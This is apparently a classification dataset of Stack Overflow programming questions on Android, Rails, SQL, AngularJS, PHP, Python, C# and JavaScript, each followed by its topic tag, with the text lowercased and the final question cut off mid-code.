saving android specific button sound  i have a soundboard and i am trying to save sounds as a ringtone or notification but it is saving the same sound each time which i think is being pulled from   here can anyone shed some light  thinking it needs to change r.raw.sound1 so it pulls in the sound of which ever button is clicked to bring up the context menu.    i ve added the loop and integrs code which makes the buttons work just in case.    edit full code - error: selectedsoundid cannot be resolved<br> :-   for each three bits of code that say selectedsoundid      not sure if i have done this bit: where and how do i add this     the  int selectedsoundid  should be declared as a class field  to make it accessible in every class method.   <pre><code>public class soundboard extends activity {  private soundmanager msoundmanager;  /** called when the activity is first created. */ int selectedsoundid; @override public void oncreate(bundle savedinstancestate) {     super.oncreate(savedinstancestate);     setcontentview(r.layout.soundboard);      final mediaplayer player = new mediaplayer();     final resources res = getresources();      //just keep them in the same order  e.g. button01 is tied to backtoyou     final int[] buttonids = { r.id.backdoors etc};     final int[] soundids = { r.raw.back_doors etc };      view.onclicklistener listener = new view.onclicklistener() {         public void onclick(view v) {             //find the index that matches the button s id  and then reset             //the mediaplayer instance  set the data source to the corresponding             //sound effect  prepare it  and start it playing.             for(int i = 0; i &lt; buttonids.length; i++) {                 if(v.getid() == buttonids[i]) {                     selectedsoundid = soundids[i];                     assetfiledescriptor afd = res.openrawresourcefd(soundids[i]);                     player.reset();                     try {                         player.setdatasource(afd.getfiledescriptor()  afd.getstartoffset()  afd.getlength());                     } catch (illegalargumentexception e) {                         // todo auto-generated catch block                         e.printstacktrace();                     } catch (illegalstateexception e) {                         // todo auto-generated catch block                         e.printstacktrace();                     } catch (ioexception e) {                         // todo auto-generated catch block                         e.printstacktrace();                     }                     try {                         player.prepare();                     } catch (illegalstateexception e) {                         // todo auto-generated catch block                         e.printstacktrace();                     } catch (ioexception e) {                         // todo auto-generated catch block                         e.printstacktrace();                     }                     player.start();                     break;                 }             }         }     };      //set the same listener for every button id  no need     //to keep a reference to every button     for(int i = 0; i &lt; buttonids.length; i++) {         button soundbutton = (button)findviewbyid(buttonids[i]);         registerforcontextmenu(soundbutton);         soundbutton.setonclicklistener(listener);     } }  @override public void oncreatecontextmenu(contextmenu menu  view v contextmenuinfo menuinfo) {  super.oncreatecontextmenu(menu  v  menuinfo);  menu.setheadertitle( save as... );  menu.add(0  v.getid()  0   ringtone );  menu.add(0  v.getid()  0   notification ); } @override    public boolean oncontextitemselected(menuitem item) {   if(item.gettitle()== ringtone ){function1(item.getitemid());}      else if(item.gettitle()== notification ){function2(item.getitemid());}     else {return false;}  return true;  }  public void function1(int id){        if       (savering(selectedsoundid)){          // code if successful          toast.maketext(this   saved as ringtone   toast.length_short).show();       }                 else                 {        // code if unsuccessful          toast.maketext(this   failed - check your sdcard   toast.length_short).show();      }     }     public void function2(int id){         if       (savenot(selectedsoundid)){          // code if successful          toast.maketext(this   saved as notification   toast.length_short).show();       }                 else                 {        // code if unsuccessful          toast.maketext(this   failed - check your sdcard   toast.length_short).show();       }     }       //save into ring tone folder  public boolean savering(int ressound){  byte[] buffer=null;  inputstream fin = getbasecontext().getresources().openrawresource(ressound);  int size=50;    try {    size = fin.available();       buffer = new byte[size];       fin.read(buffer);       fin.close();   } catch (ioexception e) {    // todo auto-generated catch block      return false;      }    string path= /sdcard/media/audio/ringtones/ ;   string filename= ohhh + .ogg ;    boolean exists = (new file(path)).exists();     if (!exists){new file(path).mkdirs();}      fileoutputstream save;  try {    save = new fileoutputstream(path+filename);      save.write(buffer);      save.flush();      save.close();     } catch (filenotfoundexception e) {    // todo auto-generated catch block      return false;    } catch (ioexception e) {   // todo auto-generated catch block      return false;  }  sendbroadcast(new intent(intent.action_media_scanner_scan_file    uri.parse( file:// +path+filename)));    file k = new file(path  filename);     contentvalues values = new contentvalues();     values.put(mediastore.mediacolumns.data  k.getabsolutepath());     values.put(mediastore.mediacolumns.title   ohhh ringtone );     values.put(mediastore.mediacolumns.mime_type   audio/ogg );     values.put(mediastore.audio.media.artist   weee );     values.put(mediastore.audio.media.is_ringtone  true);     values.put(mediastore.audio.media.is_notification  true);     values.put(mediastore.audio.media.is_alarm  true);     values.put(mediastore.audio.media.is_music  false);       //insert it into the database  this.getcontentresolver().insert(mediastore.audio.media.getcontenturiforpath(k.getabsolutepath())  values);   return true;  }       //save in notification folder  public boolean savenot(int ressound){  byte[] buffer=null;  inputstream fin = getbasecontext().getresources().openrawresource(ressound);  int size=0;    try {    size = fin.available();       buffer = new byte[size];       fin.read(buffer);       fin.close();   } catch (ioexception e) {    // todo auto-generated catch block      return false;      }    string path= /sdcard/media/audio/notifications/ ;   string filename= ohhh + .ogg ;   boolean exists = (new file(path)).exists();     if (!exists){new file(path).mkdirs();}      fileoutputstream save;  try {    save = new fileoutputstream(path+filename);      save.write(buffer);      save.flush();      save.close();     } catch (filenotfoundexception e) {    // todo auto-generated catch block      return false;    } catch (ioexception e) {   // todo auto-generated catch block      return false;  }  sendbroadcast(new intent(intent.action_media_scanner_scan_file    uri.parse( file:// +path+filename)));    file k = new file(path  filename);     contentvalues values = new contentvalues();     values.put(mediastore.mediacolumns.data  k.getabsolutepath());     values.put(mediastore.mediacolumns.title   ohhh notification );     values.put(mediastore.mediacolumns.mime_type   audio/ogg );     values.put(mediastore.audio.media.artist   weee );     values.put(mediastore.audio.media.is_ringtone  true);     values.put(mediastore.audio.media.is_notification  true);     values.put(mediastore.audio.media.is_alarm  true);     values.put(mediastore.audio.media.is_music  false);       //insert it into the database  this.getcontentresolver().insert(mediastore.audio.media.getcontenturiforpath(k.getabsolutepath())  values);   return true; } } </code></pre>,android
how to update attribute of one model from the controller of second model  in my rails application  there is a model named message and other is organization. in the message controller the data is inserted in the table messages  one of the attribute that is saved is no_of_message that is being counted in the create action itself. in the organizations table there are two fields promo_limit and trans_limit.  if sms_type is  trans  i want to subtract the value of trans_limit field from no_of_message and update it. similarly if sms_type is  promo   than the value of promo_limit has to be subtracted and updated. following are the parameter received by message_params   <pre><code> parameters: { utf8 =&gt; ✓    authenticity_token =&gt; qhuds5jfznvpb4bnasyxjwgkwfalf0/lsyuy+qhh/109e0xllsxssgulucjvcelbrk6ga6np64mhrlq9slsbba==    message =&gt;{ message_text =&gt; sample message    sms_type =&gt; promo    sendto =&gt; teaching    sent_to =&gt; 34434343243  7869851872    organization_id =&gt; 4 }   contact_nos =&gt;[ 34434343243  7869851872 ]   contact_no =&gt;[ 34434343243    7869851872 ]} </code></pre>   following is the create action   <pre><code>def create     @message = message.new(message_params)     @message.no_of_message = @message.sent_to.try(:split    ).try(:count)     @message.sent_to = message_params[:staff_type]      respond_to do |format|       if @message.save         format.html { redirect_to @message  notice:  message was successfully created.  }         format.json { render :show  status: :created  location: @message }       else         format.html { render :new }         format.json { render json: @message.errors  status: :unprocessable_entity }       end     end   end </code></pre>,ruby-on-rails
sql query to replace record of table with another  the following code produces an error:   <pre><code>select lastname  firstname  workphone  homephone  from members if (workphone is null) then workphone = homephone; </code></pre>   i am trying to select the <code>lastnames</code>  <code>firstnames</code> and thee phone numbers from a table named <code>members</code>. if a members  <code>workphone is null</code> i need to replace it with the <code>homephone</code>.    i would be more than happy to clarify if need be.,sql
how to tag functionality in image like instagram in android   i am working on tag functionality in android  i am not getting any idea regarding layouts to create tag and remove tag like instagram application.    please see images below    <a href= https://i.stack.imgur.com/ierwt.png  rel= nofollow noreferrer >link 1</a>    <a href= https://i.stack.imgur.com/7ivu3.png  rel= nofollow noreferrer >link 2</a>,android
using ng-repeat how do i remove the empty ul from the dom  i m using a simple ng-repeat to create a filtered input that allows you to filter a list of schools.    i would like the ul to be removed from the dom when there are no suitable results (i.e. any li s).    example: dom   <pre><code>&lt;ul id= filter_quickfind  data-ng-show= query  class= dropdown-menu &gt;    &lt;!-- ngrepeat: school in schools | filter: query --&gt; &lt;/ul&gt; </code></pre>   my code:   <pre><code>&lt;input id= input_quickfind  ng-model= query  placeholder= find a school  class= form-control  autofocus&gt;      &lt;ul id= filter_quickfind  data-ng-show= query  class= dropdown-menu &gt;       &lt;li data-ng-repeat= school in schools | filter: query &gt;         &lt;a href= views/profile.html &gt;{{school.name}}&lt;/a&gt;       &lt;/li&gt;     &lt;/ul&gt; </code></pre>   i ve seen a solution on stack overflow that comes close but i couldn t relate it to my code.  if anyone can help that would be much appreciated.,angularjs
animate the top edge of a div  i ve been looking for a solution to animate the width of the top edge of a div using jquery. i want to keep the bottom edge of the div(eg  100px x 100px) the same but reduce the width of the top edge. the eventual shape will be a trapezoid. does anyone know how this can be done  any help is appreciated.,jquery
seed failing with rails4  windows 8.1 rails 4.1 ruby 2.0.0    this is what i have in my user.rb (model):   <pre><code>class user &lt; activerecord::base   devise :database_authenticatable  :registerable           :recoverable  :rememberable  :trackable  :validatable           :password_expirable  :confirmable  :lockable  :timeoutable    if :work_phone != nil     phony_normalize :work_phone  :default_country_code =&gt;  us    end   if :mobile_phone != nil     phony_normalize :mobile_phone  :default_country_code =&gt;  us    end   if :fax_phone != nil     phony_normalize :fax_phone  :default_country_code =&gt;  us    end   if :other_phone != nil     phony_normalize :other_phone  :default_country_code =&gt;  us    end   validates :first  presence: true   validates :last  presence: true   validates :organization  presence: true   validates_plausible_phone :work_phone   validates_plausible_phone :mobile_phone   validates_plausible_phone :fax_phone   validates_plausible_phone :other_phone   validates :email  :email =&gt; true  presence: true  uniqueness: {case_sensitive: false}   before_save { |user| user.email = email.downcase } end </code></pre>   and this is what i have in my seeds.rb:   <pre><code>user = user.new(                 :email =&gt; test@acme.net                   :password =&gt; vb%69krn#                   :password_confirmation =&gt; vb%69krn#                   :first =&gt; john                   :last =&gt; doe                   :salutation =&gt; doe                   :organization =&gt; doe test                   :work_phone =&gt; 555-555-5555                   :mobile_phone =&gt; 555-555-5555                   :fax_phone =&gt; 555-555-5555                   :other_phone =&gt; 555-555-5555                   :address1 =&gt; one main street                   :city =&gt; anytown                   :state =&gt; wa                   :zip =&gt; 98011                   :role =&gt; admin                  ) user.skip_confirmation! user.save </code></pre>   when i do rake db:seed  i get the following error message:   <pre><code>rake aborted! nomethoderror: undefined method `password_changed_at_changed   for #&lt;user:0x00000005f2b458&gt; c:/projects/rails/doe/db/seeds.rb:27:in `&lt;top (required)&gt;  -e:1:in `load  -e:1:in `&lt;main&gt;  tasks: top =&gt; db:seed    </code></pre>   any ideas,ruby-on-rails
remove duplicate records in sql table  i have duplicate records in my table and want to delete them using identity column values. i want columns  fname  and  lname  to uniquely identify every record. but there are duplicate fname and lname with different upload date. below is the sql query i designed to solve the problem but is will take min(id) rather than max(uploaddate). please help fix this code.   <pre><code>select max(uploaddate)     min(id)     fname     lname from tbl group by fname  lname </code></pre>,sql
why is prerequesthandlerexecute not called after postback redirect   we have standard asp.net behavior: when a button is pressed on a page  the browser submits back to that page  and then the user is redirected with a 301 to the next page.    after the button is pressed  i see prerequesthandlerexecute being called for the original page  but after the 301 redirect  the new page is displayed without prerequesthandlerexecute being called again.    shouldn t prerequesthandlerexecute be called when the browser requested the second page after the redirect   am i missing something,asp.net
alternating listview in android xml  i woud like to create a listview that alternates background images. for example  the first item would have background image a and the second item would have background image b and the third backgroud a. in basic terms i would like help on creating a listview that for every odd item (egg first  third  fith) has a certian background image different to those listview items which are even (egg second  fourth  and sixth listview item). here s an exampe.    <a href= http://www.gadgetreview.com/wp-content/uploads/2011/10/siri-reminders.jpg  rel= nofollow >http://www.gadgetreview.com/wp-content/uploads/2011/10/siri-reminders.jpg</a>    in this example the speech bubbles are background image and each different background image is a different listview item.,android
php pass additional parameters to callback function  is there a way to pass additional parameters to a callback function    <pre><code>class bar{    public function test(){       $count = 0;         $foo = new class();       $foo-&gt;calling([$this   barfunction ]);   }    public function barfunction($data  $count){       //...   } </code></pre>   i want foo s calling method to pass data in and to also pass $count as the second parameter.    here is an example with a closure instead of a parameter. if i use a closure i can pass $count in but in this case i need to use bar s class function.   <pre><code>class bar{    public function test(){       $count = 0;         $foo = new class();       $foo-&gt;calling(function($data) use($count){          //..some work       });   } </code></pre>,php
what is meant by <app-setting> in dot net project web.config file.   what is meant by  in dot net project web.config file.     we are using the app-setting in the web.config file for mapping the database. in this  how we can use the  and their attributes.,asp.net
(java) remove an instance from memory   my question is somewhat simple. all i want to know is  can you remove and instance of an object from the ram in java  like  when you type:   <pre><code>new cat(); </code></pre>   you don t assign a variable to that new cat  so you can t access it. this happens in games. it says something like   new pig();   and it creates an instance of the pig. but what happens when the pig dies  how is it deleted  can it call its own method to erase itself      thanks.,java
ng-template - how to bind a checkbox to a pair of objects for on/off state  angular newb here.    i m trying to set up templates to display a collection of  questionnaire  items.  the questionnaire items may be a choice list or check box.  each questionnaire choice has an associated cost with it.     eg:   <pre><code>{  name  :  product packaging    template  :  templatelist      choices  : [ {  box   20 }  {  tube   30 } ] }  {  name  :  custom printing     template  :  templatecheckbox      choices  : [ { true  10 }  { false  0 } ] } </code></pre>   templates:   <pre><code>&lt;script type= text/ng-template  id= templatelist.html &gt;     &lt;div&gt;{{configitem.name}}&lt;/div&gt;     &lt;div class= choicevalue &gt;         &lt;select ng-model= configitem.currentchoice  ng-options= choice.value for choice in configitem.choices  ng-change= update() &gt;         &lt;/select&gt;     &lt;/div&gt; &lt;/script&gt; &lt;script type= text/ng-template  id= templatecheckbox.html &gt;     &lt;div&gt;{{configitem.name}}&lt;/div&gt;     &lt;div&gt;         &lt;input type= checkbox  ng-model= configitem.currentchoice.value  ng-change= update() /&gt;     &lt;/div&gt; &lt;/script&gt; </code></pre>   html:   <pre><code>&lt;div ng-controller= configuratorctrl &gt;     &lt;div ng-repeat= configitem in model.configurableitems &gt;         &lt;div ng-include= configitem.template +  .html  &gt;&lt;/div&gt;     &lt;/div&gt;     &lt;div&gt;price: {{model.currentprice | currency}}&lt;/div&gt; &lt;/div&gt; </code></pre>   i m using templates to display these objects based on the  template  type.  this works well.  however  i d like to figure out a way to indirectly bind to my controller for the checkbox items.  i need the on/off state for the checkbox to bind to one of the true/false  choice  objects.  right now  it s binding to the first choice element.  any suggestions     <a href= http://jsfiddle.net/cadguy/mqo9wj1s/2/  rel= nofollow >fiddle</a>,angularjs
way to make content that scrolls under a navigation bar invisible but the bar have transparency  i have no idea how to go about this:    i have a full-screen background image  a navigation bar with 50% transparency fixed to the top  and content below it. how can i have the navigation bar maintain transparency over the background image  and still have scrolling content     the issue right now is that when i scroll down  the content goes under the navigation bar  and shows through the transparency  which obviously looks awful.     basically  i want the content of the page to scroll and disappear at the bottom of the navigation bar. i know i could make the navigation bar opaque and use a background image for that too  but i d rather just have the one full-screen background image.     thoughts,css
receiving  oops  try again!  in  computing bill  codeacademy python exercise <blockquote>    write a function compute_bill that takes a parameter food as input and   computes your bill by looping through the food list and summing the   costs of each item in the list.        for now  go ahead and ignore whether or not the item you re billing   for is in stock.        note that your function should work for any food list.  </blockquote>   the given code is    <pre><code>groceries = [ banana    orange    apple ]  stock = {  banana : 6       apple : 0       orange : 32       pear : 15 }  prices = {  banana : 4       apple : 2       orange : 1.5       pear : 3 } </code></pre>   i ve written this:   <pre><code>def compute_bill(food):     total = 0;     for f in food:         if stock[f] &gt; 0:             total+=prices[f]             stock[f] -=1      return total compute_bill(groceries) </code></pre>   error message is    <blockquote>    oops  try again! you code does not seem to work when [ apple ] is used as input -- it returns 0 instead of 2.  </blockquote>,python
using variables within a select option php  i m collecting data from a form into a session  on another form  i use a few variables to feed a select option  which works as i want. as shown here   <pre><code>&lt;select class= select2_category form-control  data-placeholder= choose a category  tabindex= 1  id= householder  name= householder &gt;     &lt;option value=  &gt;&lt;/option&gt;     &lt;option value= a &gt;&lt; php echo $_session[ name1 ]; &gt;&lt;/option&gt;     &lt;option value= b &gt;&lt; php echo $_session[ name2 ]; &gt;&lt;/option&gt;     &lt;option value= c &gt;&lt; php echo $_session[ name3 ]; &gt;&lt;/option&gt;     &lt;option value= d &gt;&lt; php echo $_session[ name4 ]; &gt;&lt;/option&gt; &lt;/select&gt; </code></pre>   my issue is how i can change this  currently if within the form  any names are left blank then when it comes to the select  there is a blank line for every option blank  is there a way to change this and if a variable is blank then ignore and use the next variable  this would then make my select look tidy,php
python operator precedence of in and comparison  the following comparisons produce <code>true</code>:   <pre><code>&gt;&gt;&gt;  1  in  11  true &gt;&gt;&gt; ( 1  in  11 ) == true true </code></pre>   and with the parentheses the other way  i get a typeerror:   <pre><code>&gt;&gt;&gt;  1  in ( 11  == true) traceback (most recent call last):   file  &lt;stdin&gt;   line 1  in &lt;module&gt; typeerror: argument of type  bool  is not iterable </code></pre>   so how do i get <code>false</code> with no parentheses    <pre><code>&gt;&gt;&gt;  1  in  11  == true false </code></pre>,python
is javascript interval clear   i m stuck with such thing: i have var calls update_interval  and i start/stop my intervals with it. my problem is to understand if interval clear or not. smth like:  clearinterval(update_interval);  update_interval = false/null/undefined  is not counting due to the specific of my project. any ideas,javascript
"div won t stretch to bottom of screen  ive created a webpage as you can see below  however i can t make the a section of the page to stretch all the way to the bottom as you can see by the dark area in the image. i ve done research and searched through som of the similar posts in here but nothing i ve tried seem to do the trick.    height:100%; position:relative; doesnt work    height:auto; min-height:100%; doesnt work    bottom:0; doesnt work    <a href= https://i.stack.imgur.com/1llmx.jpg  rel= nofollow noreferrer ><img src= https://i.stack.imgur.com/1llmx.jpg  alt= enter image description here ></a>    <div class= snippet  data-lang= js  data-hide= false  data-console= false  data-babel= false >
 <div class= snippet-code >
 <pre class= snippet-code-css lang-css prettyprint-override ><code>html{
     height:100%;
 }
 
 #home {
     background: url(../img/chemical.jpg) no-repeat center center; /*full witdth background image*/
     padding: 0;
     -webkit-background-size: cover;
     background-size: cover;
     -moz-background-size: cover;
     min-height: 600px;
     width:auto;
     min-width:100%;
 }
     /*style for overlay class - which is above image with opacity/transparency 0.75*/
     #home .overlay {
         padding-bottom:20%;
         background-color: rgba(0  116  112 0.6); /*.75 opacity of the color so that background image is visible*/
         min-height: 600px;
         color: #fff;
         width:auto;
         min-width:100%;
 }
 
 body {
     margin-top: 100px;
     background-color: #222;
 }
 
 #wrapper {
     padding-left: 0;
 }
 
 #page-wrapper {
     width: 100%;
     bottom:0;
     padding: 0;
     background-color: #fff;
 }</code></pre>
 <pre class= snippet-code-html lang-html prettyprint-override ><code>&lt;body&gt;
 
 &lt;div id= wrapper  style= height:auto; min-height:100% &gt;
 
    &lt;!-- navigation --&gt;
    &lt; php include  navbar.php ;  &gt;
 
    &lt;div id= page-wrapper &gt;
         &lt;div id= home &gt;
         &lt;div class= overlay &gt;
 
         &lt;div class= container-fluid &gt;
 
             &lt;!-- page heading --&gt;
             &lt;div class= row &gt;
                 &lt;div class= col-lg-12 &gt;
                     &lt;h1 class= page-header &gt;
                         view all overdue lab tests
                     &lt;/h1&gt;
                     &lt;ol class= breadcrumb &gt;
                         &lt;li class= active &gt;
                             &lt;i class= fa fa-dashboard &gt;&lt;/i&gt; dashboard
                         &lt;/li&gt;
                     &lt;/ol&gt;
                 &lt;/div&gt;
             &lt;/div&gt;
             &lt;!-- /.row --&gt;
 
             &lt;div class= row  style= height:100% &gt;
                 &lt;div class= col-lg-12 &gt;
                     &lt;div class= panel panel-default &gt;
                         &lt;div class= panel-heading &gt;
                             &lt;i class= fa fa-long-arrow-right fa-fw &gt;&lt;/i&gt; all overdue lab test:
                             &lt;button style= float:right; height:25px; width:200px; color:black; border-radius:25px 25px 25px 25px;  value= hello &gt;prompt overdue items&lt;/button&gt;
                         &lt;/div&gt;
                         &lt;div class= panel-body  style= color:black; &gt;
                              table data 
                         &lt;/div&gt;
                     &lt;/div&gt;
                 &lt;/div&gt;
             &lt;/div&gt;
         &lt;/div&gt;
         &lt;!-- /.row --&gt;
 
      &lt;/div&gt;
      &lt;!-- /.container-fluid --&gt;
    &lt;/div&gt;
    &lt;/div&gt;    
    &lt;/div&gt;
    &lt;!-- /#page-wrapper --&gt;
 
 &lt;/div&gt;
 
 &lt;/body&gt;</code></pre>
 </div>
 </div>",css
why does angular keep showing false when input is touched   i am new to angular. i have set up the following code to see if an input field has been touched. however when i type on the input field. it doesn t change. just keeps showing false.    not sure what i am doing wrong here. any help would be really appreciated it.    <pre><code>&lt;div ng-app= myapp  ng-form name= myform &gt;      &lt;input type= text  name= address  ng-model= address  id= address &gt;      &lt;h1&gt; {{myform.address.$touched}}&lt;/h1&gt;   &lt;/div&gt;    &lt;script&gt;      var app = angular.module( myapp  []);  &lt;/script&gt; </code></pre>,angularjs
how to optimizing a sql query for group counts with a priority column  i have three tables:   <pre><code>user -- contains users group -- contains a set of groups that users can be members of membership -- contains pks from user and group to indicate that user is a member of group </code></pre>   the pks are userid  groupid  and membershipid respectively  and membership has fks to the other two tables.    this is pretty standard stuff  the one tweak is that a user can be a member of multiple groups  and groups have a level (1  2  3  4). the user s current group is the group they are a member of that has the highest level.    now i want to get a count of the number of members in each group. at the moment i have something like this:   <pre><code>select count(*) from membership     from membership m1     inner join group g1 on m1.groupid = g1.groupid     inner join user on user.userid = m1.userid where     m1.groupid = @groupid     and not exists (             select * from membership m2             inner join group g2 on m2.groupid = g2.groupid             where m2.userid = m1.userid             and g1.priority &lt; g2.priority) </code></pre>   so for each user i am looking to see if there is another membership in a group with a higher priority. this is obviously pretty horrible  especially when you have a lot of rows  but i am at a little bit of a loss on how to improve it.    ideally  i d like to transform it so that i get the counts for all groups rather than just one select (as above.)    any ideas how to do this more efficiently,sql
get popup window after page change  have a flash player that pops out into a separate popup browser window. and on the source page the flash player just displays a message that it is currently popped out.     now if the user navigates away from the source page (to another page on the same domain) how do i get a reference to the popup or just detect if its open (using javascript on the new page),javascript
url helper method uses what default :id   i m new to rails and had a doubt regarding the link_to method. the second argument should be the url of the link  which one can generate using the url helper methods. however  one may need to pass  :id as an argument of the helper method  which can be done by passing an object (which has :id as one of its attributes).    well  in one case i did not pass the object to the method (in one of the views). however  the url was still able to obtain the correct :id (presumably using an instance variable defined earlier).     how did rails choose a value for :id when i didn t even pass in any object     thanks a lot!   <hr>   edit    here s the relevant code:   <pre><code>link_to  find movies with same director   same_dir_path    </code></pre>   here  i am on a  show  page with url <code>/movies/1</code>. the <code>same_dir_path</code> is the helper method for the url <code>/movies/same_dir/:id</code> where <code>:id</code> would be that of the passed object and <code>movie#same_dir</code> is the <code>controller#action</code>. note i did not pass any object to the helper method <code>link_to</code> and yet  it takes the <code>:id</code> from the previous url ( 1  in this case). the url isn t even relative to the previous one (the path is different).   <hr>   this is the controller method (same_dir):   <pre><code>def same_dir       @movies = movie.find(params[:id])    if (@movies.director.nil  || @movies.director ==   )      flash.keep       redirect_to movies_path              flash[:warning]=  #{@movies.title}  has no director info                       return    end       @othermovies = movie.find_all_by_director(@movies.director)     end </code></pre>   this is the routes.rb code:   <pre><code>match  movies/same_dir/:id =&gt;  movies#same_dir   :as =&gt; :same_dir resources :movies  </code></pre>,ruby-on-rails
auto-implemented properties c# <ol> <li> could someone explain me what s the idea behind using auto-implemented properties c#    <pre><code>public class customer {     public int id { get; set; }     public string name { get; set; } } </code></pre>   i get the motivation to use properties for private field  so we can determine how one can access a private field. but here - it s just like defining the field to be public from the first place. no  </li> <li> is there a difference between defining a field to be  public const  or define it to have a get-only property   </li> </ol>,c#
similar queries  different sums  i am attempting to join a table of orders with a product info table so that i can create a table with all of the orders so i can break earnings down by the available dimensions  but each query i run has a different total sum.    my tables look as such:    orders table: id  date  product name  quantity ordered    product table: id  name  type  artist  sku  price  visibility  product type    each of these queries produces a different total  and i just want to understand why.    query 1:   <pre><code>select sum(subtotal)  from (select orders.date  orders. product name      orders. quantity ordered   products. product type   products.price    products.artist  ( quantity ordered *price) as  subtotal  from orders left join products on orders. product name =products.name) </code></pre>   query 2:   <pre><code>select sum(subtotal)  from (select orders.date  orders. product name      orders. quantity ordered   products. product type   products.price    products.artist  ( quantity ordered *price) as  subtotal  from orders left join products on orders. product name =products.name) group by orders.id  orders.date  orders. product name   orders. quantity           ordered   products. product type   products.price  products.artist  subtotal </code></pre>   and when i export both tables and find the sum with a vlookup to at the price in  i get a different answer than both of those queries.    assuming the queries are creating duplicates  but having trouble tracing my error.,sql
how can i track the issue in production rails  have on pdf creating function  but that pdf generation different response  in local development working fine but the server shows 500 error. how can i track the issue in production,ruby-on-rails
how to correctly display spacing in a span  i want to show the following text in a span :    <pre><code>&lt;span&gt; state                      state code&lt;br&gt;&lt;br&gt; alabama                         al&lt;br&gt; alaska                          ak&lt;br&gt; &lt;/span&gt; </code></pre>   so i replaced the spaces with    <pre><code>&amp;nbsp; </code></pre>   but the text still appears like this :  <a href= http://jsfiddle.net/yh7n2/  rel= nofollow >http://jsfiddle.net/yh7n2/</a>    what am i doing wrong,html
dynamic class creation in python  i want to create this class by dynamically:   <pre><code>class createagent(show.showone):        create compute agent command         log = logging.getlogger(__name__ +  .createagent )      def get_parser(self  prog_name):         parser = super(createagent  self).get_parser(prog_name)         parser.add_argument(              os               metavar= &lt;os&gt;               help= type of os )         parser.add_argument(              architecture               metavar= &lt;architecture&gt;               help= type of architecture )         parser.add_argument(              version               metavar= &lt;version&gt;               help= version )         parser.add_argument(              url               metavar= &lt;url&gt;               help= url )         parser.add_argument(              md5hash               metavar= &lt;md5hash&gt;               help= md5 hash )         parser.add_argument(              hypervisor               metavar= &lt;hypervisor&gt;               help= type of hypervisor               default= xen )         return parser      def take_action(self  parsed_args):         self.log.debug( take_action(%s)   parsed_args)         compute_client = self.app.client_manager.compute         args = (             parsed_args.os              parsed_args.architecture              parsed_args.version              parsed_args.url              parsed_args.md5hash              parsed_args.hypervisor         )         agent = compute_client.agents.create(*args)._info.copy()         return zip(*sorted(six.iteritems(agent))) </code></pre>   i went through many links but could find resources for dynamic class creation of classes with basic variables declarations and function.   <pre><code>class foo(object):     x = 10     y = 20     def get_x(self):         return self.x     def get_y(self):         return self.y </code></pre>   dynamic class creation can be done as:   <pre><code>bar = type(         bar          (object )         dict(             x = 10              y = 20              get_x=lambda self:self.x              get_y=lambda self:self.y         )         ) </code></pre>   but i don t know how to crete createaent class and define its functions dynamically..     this is the code that i have written:   <pre><code>def create_model(name  base=none  fields=none):     model = type(name  base  fields)      return model  if __name__ ==  __main__ :     fields = {          os : str           architecture : str           version : int           url : str           md5hash : int           hypervisor : int          }     model = create_model( createagent   ( showone  )  fields)     model.os =  windows      print model.os </code></pre>  <ol> <li> it gives me the following error:    typeerror: metaclass conflict: the metaclass of a derived class must be a (non-strict)   subclass of the metaclasses of all its bases </li> <li> i don t know how to define get_parser function.  </li> </ol>   ps: some hints will be really helpful,python
c# - remove part of listbox items  i have a <code>listbox</code> which has a collection of files from a directory and i need to remove the extension from them. they will all be m4a format so that should make it a bit easier. however i have searched and cannot find a solution.     i am very new to programming and would appreciate some help. if i could request an example i would really appreciate it and could you please use <code>lstsong</code> instead of a placeholder because i get confused as to whats a placeholder and not in examples.    as requested the code that writes to it:   <pre><code>string[] songspaths = system.io.directory.getfiles(librarypath +  /  + albumpath +  /  + songpath);  list&lt;string&gt; listsongs = new list&lt;string&gt;();  foreach (var f in songspaths) {    string songs = f.split( \\ ).last();    lstsong.items.add(songs); } </code></pre>   i am unsure exactly how this code works. i understand most of it but it was written by a friend to help me. which is why i was going to do it afterwards. thanks again.,c#
add day(s) in a date in javascript  i have textbox displaying date and have a button. the function in button is to add 7 days and display in textbox. my code:   <pre><code> function onnext() {         var startdate = document.getelementbyid( date ).value;     var addday = new date(startdate);     var dd = addday.getdate() + 7;     var mm = addday.getmonth() + 1;     var y = addday.getfullyear();     var displaydate = y +  /  + mm +  /  + dd;     document.getelementbyid( date ).value = displaydate ; } </code></pre>   the issue how to add a day to go to the next month.     example the date in textbox is 2014/08/25 when i click the button the date will be 2014/09/01,javascript
webclient subclass disposed during event handler  result is objectdisposedexception  i subclassed webclient to gain more control over what it does (change the timeout  plus provide an event handler that fires for every 1mb progress).  it runs continually (once / minute) polling data from an xml source and works fine <em>most of the time</em>.  once in a while  however  i get an objectdisposedexception that i do not understand.  i ll post what i believe are the relevant parts with comment first  then post the entire source code for reference.    <strong>downloadprogresschanged event handler &amp; dispose</strong>    the objectdisposedexception happens on the last line of this handler.  variables are in the state indicated in comments.   <pre><code>void mywebclient_downloadprogresschanged(object sender  downloadprogresschangedeventargs e) {     // cancelduetoerror is false  isdisposed is true     // isdisposed must have been false when this event handler fired     if (cancelduetoerror || isdisposed) return;       long additionalbytesreceived = e.bytesreceived - previousbytesreceived;     previousbytesreceived = e.bytesreceived;     bytesnotnotified += additionalbytesreceived;      if (bytesnotnotified &gt; one_mb)     {         onnotifymegabyteincrement(e.bytesreceived);         bytesnotnotified = 0;    // this is 0 at the point of the exception  so this handler fired.      }     firstbytereceived = true;              //             // !!!!! exception here             //     // objectdisposedexception here.  clearly the class has been disposed already (isdisposed is true).       // but why is the downloadprogresschanged event firing after mywebclient is disposed      aborttimer.change(timebetweenprogresschanges  system.threading.timeout.infinite);  }  // somehow idisposable.dispose() is being called in the middle of the // mywebclient_downloadprogresschanged event handler.  isdisposed is false // at the beginning of the event handler (else it would have returned immediately) // but true when i get the objectdisposedexception void idisposable.dispose() {     isdisposed = true;      if (asyncwait != null) asyncwait.dispose();     if (aborttimer != null) aborttimer.dispose();      base.dispose(); } </code></pre>   <strong>usage</strong>   <pre><code>using (mywebclient webclient = new mywebclient()) {     webclient.notifymegabyteincrement += new mywebclient.permbhandler(webclient_notifymegabyteincrement);     bool downloadok = webclient.downloadfilewithevents(url  outputpath);     // do stuff with downloaded file if downloadok }    </code></pre>   clearly  from time to time  mywebclient is disposed in the <em>middle</em> of the mywebclient_downloadprogresschanged event handler.  however  the object should not be disposed until the download is complete.  how can this be happening     <strong>full source code</strong>   <pre><code>public class mywebclient : webclient  idisposable {     public int timeout { get; set; }     public int timeuntilfirstbyte { get; set; }     public int timebetweenprogresschanges { get; set; }      public long previousbytesreceived { get; private set; }     public long bytesnotnotified { get; private set; }      public string error { get; private set; }     public 